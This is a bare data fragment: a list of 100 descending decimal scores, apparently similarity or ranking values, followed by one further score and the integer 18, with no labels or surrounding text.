[ "0.87536204", "0.8055727", "0.77719414", "0.7684046", "0.7552645", "0.74981487", "0.72334045", "0.713744", "0.6892226", "0.6846787", "0.68157053", "0.67125493", "0.6708214", "0.66353303", "0.6620842", "0.65226746", "0.65138704", "0.65126044", "0.64222705", "0.64106536", "0.635823", "0.62924683", "0.6273773", "0.62725466", "0.62656295", "0.6235476", "0.6195654", "0.61740935", "0.6155067", "0.61525774", "0.61186314", "0.6105596", "0.6099875", "0.6096209", "0.6088213", "0.6073157", "0.6073157", "0.6073157", "0.60581434", "0.60561234", "0.6042051", "0.60328007", "0.59734064", "0.59592044", "0.59441566", "0.591913", "0.590683", "0.58962727", "0.5875432", "0.5829649", "0.5795253", "0.57810074", "0.5759281", "0.57560474", "0.5750335", "0.57153004", "0.56846154", "0.5663383", "0.5635906", "0.5634315", "0.5616956", "0.5611611", "0.55962306", "0.55699575", "0.5569489", "0.5563023", "0.5552466", "0.5540932", "0.55363655", "0.5519765", "0.5518963", "0.55136585", "0.55120516", "0.549805", "0.5495785", "0.5493924", "0.5480595", "0.54685146", "0.5468514", "0.5466773", "0.54643273", "0.54636425", "0.54580474", "0.54548484", "0.54493254", "0.5449124", "0.54477215", "0.5445182", "0.5443289", "0.5433538", "0.542523", "0.5417255", "0.54161364", "0.5413117", "0.5408175", "0.5394159", "0.5393672", "0.5384924", "0.53827083", "0.53800684" ]
0.64497757
18